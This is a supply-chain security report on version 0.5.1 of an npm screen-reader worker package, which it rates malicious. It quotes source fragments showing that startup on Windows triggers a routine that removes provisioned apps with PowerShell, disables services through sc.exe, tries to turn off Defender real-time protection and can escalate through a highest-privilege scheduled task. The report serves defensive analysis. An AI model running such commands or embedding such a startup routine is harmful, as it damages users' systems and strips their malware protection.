---
canonical: "https://firewall.lpm.dev/npm/@a11ign/screenreader-worker"
markdown: "https://firewall.lpm.dev/npm/@a11ign/screenreader-worker/v/0.5.1.md"
package: "@a11ign/screenreader-worker"
report_status: "published"
title: "@a11ign/screenreader-worker@0.5.1 npm security report"
verdict: "malicious"
version: "0.5.1"
---

# @a11ign/screenreader-worker@0.5.1 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — System apps and services may be removed or disabled, and real-time malware protection may be turned off.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Destructive Action
- **Selected version:** 0.5.1
- **Selected version is latest:** No
- **Analysis source:** AI Security Review (lpm-firewall-ai)

This is the current Firewall decision for the selected package version, based on the available public evidence. Findings for this version do not establish the status of other versions.

AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy.

The worker’s normal startup triggers broad system changes, including an attempt to disable Defender, and may obtain elevated execution through a scheduled task. This is concrete destructive behavior and warrants blocking.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Recorded final verdict:** Malicious
- **Recorded analysis confidence:** 98.0%
- **Started:** 2026-10-08T21:59:08.564Z
- **Finished:** 2026-10-08T21:59:34.376Z
- **Download time:** 1029 ms
- **Static scan time:** 851 ms
- **AI review time:** 23931 ms
- **Total time:** 25812 ms

The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs.

## Security analysis

### Published attack-surface review

- **Summary:** Starting the worker on Windows automatically launches a system trim routine. It removes provisioned apps, disables services, and attempts to turn off Defender real-time monitoring, with an elevated task path.

- **Trigger:** Launching the worker on Windows, unless A11Y\_SKIP\_TRIM is set or the trim marker already exists.

- **Impact:** System apps and services may be removed or disabled, and real-time malware protection may be turned off.

- **Evidence paths:** dist/server.mjs, dist/windows-trim.mjs

- **Review source:** ai\_review

- **Reviewed:** 2026-10-08T21:59:34.376Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** The worker starts a detached helper that runs PowerShell commands to remove apps, disable services, and change Defender settings; it can schedule the helper at highest privilege when needed.

- **Attack narrative:** When the command-line worker starts on Windows, it launches a detached trim helper unless skipped or previously marked complete. The helper removes provisioned apps, disables services, and attempts to disable Defender real-time protection. If the worker is not elevated, it can register a highest-privilege scheduled task to run the helper.

- **Rationale:** The worker’s normal startup triggers broad system changes, including an attempt to disable Defender, and may obtain elevated execution through a scheduled task. This is concrete destructive behavior and warrants blocking.

- **Files touched:** dist/server.mjs, dist/windows-trim.mjs, .windows-trimmed

### Review decision

- **Verdict:** Malicious

- **Confidence:** 98.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for block:** The command-line worker runs the Windows trim routine automatically when it starts., The trim routine removes provisioned apps and disables Windows services., The routine attempts to disable Defender real-time monitoring., When not elevated, it can register and start a highest-privilege scheduled task to run the trim.

- **Evidence against:** The package has no install lifecycle hook; the behavior activates when the worker is launched.

## Affected versions and remediation

This report applies to @a11ign/screenreader-worker@0.5.1.

- Avoid installing @a11ign/screenreader-worker@0.5.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

## Public findings

### 1. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 2. High: Child Process
- **Category:** Source
- **Confidence:** 85.0%
- **Path:** dist/windows-trim.mjs
- **Public source:** [View source](<https://unpkg.com/@a11ign/screenreader-worker@0.5.1/dist/windows-trim.mjs>)

Package source references child process execution.

Public source snippet (untrusted):

```javascript
L1: import { execFileSync } from "node:child_process";
L2: import { readFileSync, writeFileSync } from "node:fs";
```

### 3. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 4. Medium: Environment Vars
- **Category:** Source
- **Confidence:** 75.0%

Package source references environment variables.

### 5. Low: Filesystem
- **Category:** Source
- **Confidence:** 70.0%

Package source references filesystem APIs.

### 6. High: Cross File Remote Execution Context
- **Category:** Source
- **Confidence:** 72.0%
- **Path:** dist/server.mjs
- **Public source:** [View source](<https://unpkg.com/@a11ign/screenreader-worker@0.5.1/dist/server.mjs>)

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

Public source snippet (untrusted):

```javascript
Cross-file remote execution chain: dist/server.mjs spawns dist/src_capture-core_mjs.mjs; helper contains network access plus dynamic code execution.
L1: import { createServer } from "node:http";
L2: import { appendFileSync, existsSync, openSync, readFileSync, readdirSync, renameSync, statSync, statfsSync, writeFileSync } from "node:fs";
L3: import { execFile, execFileSync, spawn } from "node:child_process";
L4: import { promisify } from "node:util";
...
L7: import { join, resolve as external_node_path_resolve } from "node:path";
L8: import { inflateRawSync } from "node:zlib";
L9: import { rm } from "node:fs/promises";
...
L22: function powershellValue(script) {
L23: if ("win32" !== process.platform) return "unknown";
L24: try {
...
L47: try {
L48: const { stdout } = await execFileAsync("po
```

### 7. Low: High Entropy Strings
- **Category:** Supply Chain
- **Confidence:** 55.0%

Package source contains high-entropy string patterns.

### 8. Low: Copyleft License
- **Category:** Manifest
- **Confidence:** 80.0%

Package manifest declares a copyleft-style license.

### 9. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 98.0%
- **Path:** dist/server.mjs
- **Public source:** [View source](<https://unpkg.com/@a11ign/screenreader-worker@0.5.1/dist/server.mjs>)

The command-line worker runs the Windows trim routine automatically when it starts.

Public source snippet (untrusted):

```javascript
const TRIM_MARKER = external_node_path_resolve(process.cwd(), ".windows-trimmed");
function trimWindowsAtBoot() {
    if ("win32" !== process.platform || "1" === process.env.A11Y_SKIP_TRIM) return;
    if (trimAlreadyDone(TRIM_MARKER)) return;
    try {
```

### 10. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 98.0%
- **Path:** dist/server.mjs
- **Public source:** [View source](<https://unpkg.com/@a11ign/screenreader-worker@0.5.1/dist/server.mjs>)

The command-line worker runs the Windows trim routine automatically when it starts.

Public source snippet (untrusted):

```javascript
if (IS_MAIN) server.listen(PORT, ()=>{
    server_log(`a11ign NVDA worker listening on :${PORT} (reuse NVDA: ${REUSE_NVDA})`);
    tidyBrowserAtBoot().catch((e)=>server_log("browser tidy-up threw: " + e.message));
    trimWindowsAtBoot();
    wa
```

### 11. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 98.0%
- **Path:** dist/windows-trim.mjs
- **Public source:** [View source](<https://unpkg.com/@a11ign/screenreader-worker@0.5.1/dist/windows-trim.mjs>)

The trim routine removes provisioned apps and disables Windows services.

Public source snippet (untrusted):

```javascript
for (const pkg of packagesToRemove(installedProvisionedPackages()))try {
        powershell(`Remove-AppxProvisionedPackage -Online -PackageName '${pkg}' -ErrorAction Stop`);
        result.removed.push(pkg);
    } catch (error) {
        result.failed.push(pkg.split("_")[0]);
        log(`trim: could not remove ${pkg}: ${error.message.split("\n")[0]}`);
    }
    for (const
```

### 12. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 98.0%
- **Path:** dist/windows-trim.mjs
- **Public source:** [View source](<https://unpkg.com/@a11ign/screenreader-worker@0.5.1/dist/windows-trim.mjs>)

The trim routine removes provisioned apps and disables Windows services.

Public source snippet (untrusted):

```javascript
for (const { name } of DISABLEABLE_SERVICES){
        try {
            powershell(`sc.exe config ${name} start= disabled`);
            result.disabled.push(name);
        } catch (error) {
            result.failed.push(name);
            log(`trim: coul
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** No

- **Dependencies:** 1
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 13
- **Published dependency-graph edges:** 1

### Published dependency entries
- @guidepup/guidepup 0.31.0 (Dependency)

## Package metadata
- **Package:** @a11ign/screenreader-worker
- **Ecosystem:** npm
- **Version:** 0.5.1
- **License:** AGPL-3.0-or-later
- **Version published:** 2026-10-08T21:56:12.074Z
- **Package first seen:** 2026-10-04T22:13:21.651Z
- **Package last seen:** 2026-10-18T16:13:33.671Z
- **Known versions:** 27
- **Latest version:** 0.13.13
- **Appeal under review:** No
- **Description:** Drives a real NVDA screen reader through real navigation on Windows and returns what it announced. The HTTP contract is the API.
- **Keywords:** accessibility, a11y, wcag, screen-reader, nvda, windows, capture
- **Runtime engines:** node: \>=20
- **Artifact files:** 50
- **Artifact unpacked size:** 655,424 bytes
- **Artifact signatures:** 2
- **Attestations:** Yes

## References
- [HTML security report](<https://firewall.lpm.dev/npm/@a11ign/screenreader-worker/v/0.5.1>)
- [Repository](<https://github.com/a11ign/screenreader-worker.git>)
- [Homepage](<https://github.com/a11ign/screenreader-worker>)
- [Issues](<https://github.com/a11ign/screenreader-worker/issues>)
